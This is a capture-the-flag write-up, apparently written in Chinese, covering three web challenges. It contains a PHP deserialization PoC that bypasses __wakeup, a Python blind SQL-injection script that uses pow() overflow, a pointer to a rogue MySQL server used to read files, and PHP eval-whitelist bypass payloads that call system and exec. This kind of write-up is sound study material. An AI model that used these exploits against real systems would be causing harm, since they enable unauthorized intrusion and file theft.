@Author: Patrilic
@Time: 2019-04-23 11:20:33

Web1 - JustSoso

Index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(E_ALL);

$payload = $_GET["payload"];

require $_GET['file'];

if (isset($payload)) {
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'], $query);
foreach ($query as $value) {
if (preg_match("/flag/", $value)) {
echo 'gg';
exit();
}
}
$payload = unserialize($payload);

} else {
echo "Missing parameters";
}
?>

Hint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

error_reporting(E_ALL);
class Handle
{
private $handle;

// 绕过wakeup
public function __wakeup()
{
foreach (get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}

public function __construct($handle)
{
$this->handle = $handle;
}

public function __destruct()
{
$this->handle->getFlag();
}
}

class Flag
{
public $file;
public $token;
public $token_flag;

function __construct($file)
{
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1, 10000));
}

public function getFlag()
{
$this->token_flag = md5(rand(1, 10000));
if ($this->token === $this->token_flag) {
if (isset($this->file)) {
echo @highlight_file($this->file, true);
}
}
}
}



?>

poc.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
require "hint.php";

$flag = new Flag('flag.php');
$flag->token = 'b706835de79a2b4e80506f582af3676a';
$flag->token_flag = &$flag->token;

$handle = new Handle($flag);

$s = serialize($handle);

echo urlencode($s);

parse_url绕过正则:http://lawlietweb.com/2018/05/13/parse_url/
wake_up绕过:https://paper.seebug.org/39/

Web2 - 全宇宙最简单的SQL

过滤 or if sleep benchmark
参考bctf-love-q利用pow()在条件为假时返回error

2cb4372b6213be745ecbf701adc81349.png
运算符作条件判断,如果错误数据库报错:利用pow的溢出判断limit位数的ascii

f4abcef6f90ea02665adaf0f61d6ee7f.png

在题目中正确返回登陆失败,错误返回数据库失败

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

import requests


VERSION = "version()"
USERNAME = "select username from user limit 1"

PASSWORD = "select (select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1,1)"

url = "http://cba0e34ee5d34db985195191f4c681d5c32c4b92db574826.changame.ichunqiu.com"

result = ''
for i in range(1, 50):
for j in range(31, 128):
payload = {
"username": "1'-pow(2,1024-ascii(substr(({data}),{pos},1))+{code})-- -".format(
data=PASSWORD,
pos=i,
code=j
),
"password": "1"
}
try:
resp = requests.post(url=url, data=payload)
resp.encoding = 'utf8'
if '数据库操作失败' in resp.text:
result += chr(j)
print(result)
break
except Exception as e:
print(e)
continue

利用mysql别名(参考博客中Mysql Injection中# 不用列名的注入)

跑出password : F1AG@1s-at_/fll1llag_h3r3

进入后台为远程数据库连接界面,理想到fake_mysqlServer读文件
参考文章https://xz.aliyun.com/t/3973

修改这个脚本里的filelist
https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

然后让题目服务器连接即可
02c5946724036ffaa593060d7224fd1e.png

Web3 - lovemath

直接嫖队友@hpdoger的wp orz

读到calc.php的源码

c0c0c8ac3e259e0335021d7fc0e1bfc5.png
黑名单肯定是绕不过去,虽然有/m但是\r在黑名单所以不存在换行绕过。注意看下面的whitelist。正则匹配函数名,只允许Eval使用白名单的函数做字符串
582784a9189b198632e7d5e7a118484b.png
所以思路就很明确,既然参数从白名单出来后被执行,那漏洞点肯定就在白名单的函数。
由于正则匹配字母的规则,使我们传入的实参不能是字母,否则就会进入判断如下
e8e3debbd6230c0e0c53a3850e2b76bb.png
想办法把数字变成字母,着眼于函数base_convert,官方描述如下
a2935dc80f85880f2cdda71c2a7086b4.png
它允许我们将10进制数转换为最高36进制,结果为字符串。完美解决了数字->字母的转化,成功打印Phpinfo如下
098411eef0c09290073abf8ec9ee4ab5.png
因为字符串长度限制,我最开始的想法是这样的:

1
2
$input = hexdec(bin2hex(“system(‘cat /flag’);”))
$result = base_convert(10进制编码的hex2bin,10,36).dechex($input)

失败的POC是这样:

1
base_convert(37907361743,10,36)(dechex(9148825951463535960001056079872))

bin2hex后由于转换出来的16进制数值过大,导致转换的int值很大无法正常被dechex还原而溢出。

卡在这里很久,最后换了一种小数还原的思路。

我们只需要构造_GET为16进制数,这个16进制转换出来的十进制就不会很大,自然在dechex也不会溢出。

Payload如下,注意用白名单的值作为变量参数,否则还是会被拦截

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$p){1})

转换的调用栈如下:
669c053c37997706f12d06ce72e2e1d5.png

直接发包给到C参数,成功getflag

511c651f1848294771ccadfac4b993eb.png

还在群里看到一位师傅的Payload

1
base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(474260465194)))
1
exec(nl f*);

79位…… orz